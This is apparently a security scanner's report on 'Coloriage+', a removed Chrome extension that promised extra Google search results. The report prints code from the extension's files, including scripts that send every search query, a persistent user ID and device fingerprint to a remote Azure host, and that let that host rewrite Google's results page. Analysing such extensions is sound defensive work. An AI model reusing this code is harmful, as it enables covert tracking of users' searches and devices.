Coloriage+

ID: eocebgdbbdeccffolomadfbogkecfnkc

Could be malicious

Supported Languages

🇫🇷French

Extension Info & Metadata

Status
Removed
Version
1.0.0.0
Size
0.04 MB
Rating
0.0/5
Reviews
0
Users
5,000
Type
Extension
Updated
Dec 4, 2024
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
Coloriage+View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
0
Unlisted
1
Total Users
5,000

Améliorez votre recherche Google grâce aux résultats de notre service.

L'extension Coloriage+ vous permet de bénéficier lors de certaines recherches Google de résultats supplémentaires qui sont en rapport avec votre requête. Il s'agit exclusivement de contenu directement lié à votre recherche. Ces résultats ne proviennent pas de Google et sont reconnaissables à l'intitulé de la section et à leur adresse de couleur verte. Toutes les recherches ne sont pas concernées : si nous disposons pour une recherche donnée de résultats pertinents alors ces derniers seront affichés. Dans le cas contraire aucun résultat supplémentaire ne sera proposé. Certains des résultats affichés peuvent être sponsorisés. Si vous souhaitez supprimer ces résultats supplémentaires il suffit de désinstaller l'extension. Ce service est destiné aux utilisateurs francophones situés en France ou en Belgique. Si vous n'êtes pas en France ni en Belgique alors vous ne pourrez probablement pas profiter du service. N'hésitez pas à consulter nos règles de confidentialité et à nous contacter si vous avez la moindre question.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
*://www.coloriageetdessins.com/*
Host
Medium
Host permission — access limited to this URL pattern.
*://www.coloriage-et-dessins.com/*
Host
Medium
Host permission — access limited to this URL pattern.
*://www.coloriage-dessins.com/*
Host
Medium
Host permission — access limited to this URL pattern.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

Every Google search query the user types (`qs['q']`) is transmitted to a third-party Azure endpoint (`coloriage.azurewebsites.net/service`) along with a persistent user GUID (`g`), a user install timestamp (`i`), a session token (`lsyc`), device fingerprint data (`chd`), and a timestamp. This constitutes covert surveillance of all Google search activity, associating each query with a persistent cross-session user identity.

scripts/col.js (Line 82)
function process(qs, g, i) {  if (qs && qs['q'] && !qs['tbm'] && qs['q'].length > 0 && g != '' && i > 0) {    var content = document.createElement('iframe');    content.src = 'https://coloriage.azurewebsites.net/service?context=' + encodeURIComponent(qs['q']) + '&g=' +      encodeURIComponent(g) + '&i=' + encodeURIComponent(i) + '&lsyc=' + encodeURIComponent(lsyc) + '&chd=' +      encodeURIComponent(chd) + '&t=' + (new Date()        .getTime());    content.id = 'container_layer';

The extension injects an invisible iframe loading content from `coloriage.azurewebsites.net`, then listens for `postMessage` commands from that remote server. The remote server can issue commands (`m0`, `m1`) that manipulate the Google search results page DOM (repositioning, padding injection), effectively allowing the remote server to control and alter what the user sees on google.com. It also stores a server-issued session token (`lsyc`) that persists across sessions for tracking continuity.

scripts/col.js (Line 103)
var message_handler = function(e) {  if (e.origin == 'https://coloriage.azurewebsites.net') {    try {      if (e.data[3] && /^[\w]{64,256}$/.test(e.data[3])) {        chrome.storage.local.set({          'lsyc': e.data[3]        });      }    } catch (ex) {}    switch (e.data[0]) {      case 'm0':        render('search', null, null);        break;      case 'm1':        render('taw', e.data[1], content);        break;    }  }};window.addEventListener('message', message_handler, false);

The extension collects high-entropy Client Hints values (CPU architecture, bitness, device model, full OS/browser version strings) and base64-encodes them into a `chd` variable. This fingerprinting data is then silently exfiltrated to `coloriage.azurewebsites.net` as a query parameter on every Google search the user performs, enabling precise device fingerprinting without user knowledge or consent.

scripts/col.js (Line 144)
try {  if (navigator.userAgentData) {    navigator.userAgentData.getHighEntropyValues(['architecture', 'bitness', 'model', 'platformVersion',        'uaFullVersion', 'fullVersionList'      ])      .then((values) => {        chd = btoa(JSON.stringify(values));      })      .catch((error) => {        chd = 'er';      });  }} catch (e) {  chd = 'ex';}

The extension generates and persistently stores a unique user GUID and install timestamp in `chrome.storage.local`, then passes both to `post_init()` which ultimately sends them to the remote tracking server with every search. This creates a permanent, cross-session identity for the user that is tied to all their Google search activity.

scripts/col.js (Line 159)
chrome.storage.local.get(['user_guid', 'user_time', 'new_install', 'new_install_check', 'lsyc'], function(data) {  var user_guid = '',    user_time = 0,    new_install = false;  // ...  if (user_guid == '') {    user_guid = gen_guid();    save = true;  }  if (user_time == 0) {    user_time = (new Date())      .getTime();    save = true;  }  if (save) {    chrome.storage.local.set({      'user_guid': user_guid,      'user_time': user_time    });  }} catch (e) {}post_init(user_guid, user_time);});

The injected iframe is explicitly granted a wide set of Client Hints permissions (`ch-ua-arch`, `ch-ua-bitness`, `ch-ua-full-version`, `ch-ua-full-version-list`, `ch-ua-model`, `ch-ua-platform-version`), giving the remote `coloriage.azurewebsites.net` server direct access to high-entropy device fingerprinting data from within the iframe context on Google's domain.

scripts/col.js (Line 100)
content.setAttribute('allow',  'ch-ua-arch;ch-ua-bitness;ch-ua-full-version;ch-ua-full-version-list;ch-ua-model;ch-ua-platform-version');

The CSS hides Google's main search results container (`#rcnt`) by setting its opacity to 0 at `document_start`. This runs before the page renders, blanking all organic search results. The results are only revealed (opacity set back to 1) after the extension's remote iframe has loaded and issued a command — effectively holding the search results page hostage until the extension's tracking/injection code completes.

styles/col.css (Line 1)
#rcnt {  opacity: 0;}

On first install, the extension opens a remote URL (`coloriage.azurewebsites.net/install`) and immediately closes the user's active tab — a deceptive pattern that redirects the user away from whatever they were doing. Combined with `setUninstallURL`, the extension tracks both install and uninstall events at the remote server, indicating user lifecycle surveillance.

worker.js (Line 11)
chrome.tabs.query({  active: true,  lastFocusedWindow: true}, function(tabs) {  chrome.tabs.create({    url: 'https://coloriage.azurewebsites.net/install'  }, function(tab) {    try {      chrome.tabs.remove(tabs[0].id);    } catch (e) {}  });});

This content script injects a meta tag with `name='coloriageplus'` into pages on the coloriageetdessins.com and related domains at `document_start` (before page load). While low-severity on its own, this tag acts as a beacon or flag that external scripts on those pages can detect to identify that the extension is installed — enabling cross-site extension detection by the operator's own properties.

scripts/site.js (Line 1)
var meta = document.createElement('meta');meta.name = 'coloriageplus';meta.content = '1.0';document.documentElement.appendChild(meta);

By severity

Critical2
High4
Medium1
Low1

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.0.08

Files with findings

4 distinct paths — top paths by unique finding count:

  • scripts/col.js5
  • scripts/site.js1
  • styles/col.css1
  • worker.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
scripts/col.js (line 103)The extension injects an invisible iframe loading content from `coloriage.azurewebsites.net`, then listens for `postMessage` commands from that remote server. The remote server can issue commands (`m0`, `m1`) that man…
2Data Exfiltration
critical
scripts/col.js (line 82)Every Google search query the user types (`qs['q']`) is transmitted to a third-party Azure endpoint (`coloriage.azurewebsites.net/service`) along with a persistent user GUID (`g`), a user install timestamp (`i`), a se…
3Other
high
styles/col.css (line 1)The CSS hides Google's main search results container (`#rcnt`) by setting its opacity to 0 at `document_start`. This runs before the page renders, blanking all organic search results. The results are only revealed (op…
4Tracking
high
scripts/col.js (line 159)The extension generates and persistently stores a unique user GUID and install timestamp in `chrome.storage.local`, then passes both to `post_init()` which ultimately sends them to the remote tracking server with ever…
5Unauthorized Data Collection
high
scripts/col.js (line 144)The extension collects high-entropy Client Hints values (CPU architecture, bitness, device model, full OS/browser version strings) and base64-encodes them into a `chd` variable. This fingerprinting data is then silent…
6Unauthorized Data Collection
high
scripts/col.js (line 100)The injected iframe is explicitly granted a wide set of Client Hints permissions (`ch-ua-arch`, `ch-ua-bitness`, `ch-ua-full-version`, `ch-ua-full-version-list`, `ch-ua-model`, `ch-ua-platform-version`), giving the re…
7Tracking
medium
worker.js (line 11)On first install, the extension opens a remote URL (`coloriage.azurewebsites.net/install`) and immediately closes the user's active tab — a deceptive pattern that redirects the user away from whatever they were doing.…
8Tracking
low
scripts/site.js (line 1)This content script injects a meta tag with `name='coloriageplus'` into pages on the coloriageetdessins.com and related domains at `document_start` (before page load). While low-severity on its own, this tag acts as a…
URLs
14
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
ns.adobe.com/photoshop/1.0/http://ns.adobe.com/photoshop/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
www.google.com/*https://www.google.com/*
www.google.be/*https://www.google.be/*
www.google.fr/*https://www.google.fr/*
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.0.0.0
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.0.0.0
Latest
0.04 MB
Malicious
8
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.